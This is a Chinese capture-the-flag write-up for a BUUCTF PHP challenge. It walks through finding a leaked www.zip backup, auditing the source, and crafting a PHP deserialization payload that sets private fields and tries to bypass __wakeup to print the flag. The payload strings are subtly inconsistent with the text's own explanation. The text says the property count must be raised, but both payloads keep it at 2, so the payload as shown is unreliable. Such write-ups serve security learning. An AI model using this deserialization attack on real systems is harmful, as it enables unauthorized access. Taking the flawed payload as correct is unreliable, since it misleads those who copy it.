BUUCTF-[極客大挑戰 2019]PHP 1
開啟題目,我們就看到這個貓,先是用滑鼠晃了晃,還跟著我的游標搖腦袋。我是來做題的。前端工程師肯定也對這個下功夫了。
有一個良好的備份網站的習慣很好啊,我們首先根據題目的提示,用dirsearch掃目錄
如果沒有這個工具的可以去github上下載就可以了。
最終,我們掃到這個備份檔案
www.zip這個備份檔案
於是,我們直接回到網頁,然後拼接www.zip於是我們就下載了原始碼,解壓之後,我們看到了這些
開啟flag.php以為得到flag結果是個假的。
於是我們開啟index.php
發現一段php程式碼,包含class.php檔案,然後get方式傳入一個select引數,並且將結果反序列化
然後,我們再開啟class.php檔案,然後又發現了一段程式碼,審計一下
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
根據程式碼的意思,我們可以發現如果username=admin password=100然後我們再執行__destruct()時可以獲得flag
於是構造反序列化
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a = new Name('admin', 100); var_dump(serialize($a)); ?>
儲存,然後獲得序列化後的字串:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
於是我們將引數值給select,這時候問題來了,在反序列化的時候會首先執行__wakeup()
魔術方法,但是這個方法會把我們
的username重新賦值,所以我們要考慮的就是怎麼跳過__wakeup()
,而去執行__destruct
在反序列化時,當前屬性個數大於實際屬性個數時,就會跳過__wakeup(),去執行__destruct
於是我們這樣構造pyload:
?select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
然後我們又意識到,這個變數時private
private 宣告的欄位為私有欄位,只在所宣告的類中可見,在該類的子類和該類的物件例項中均不可見。因此私有欄位的字
段名在序列化時,類名和欄位名前面都會加上\0的字首。字串長度也包括所加字首的長度
於是我們在構造一回pyload:
?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
出來flag:flag{32beb1fb-5e2e-4cd5-87c8-a0e75f291395}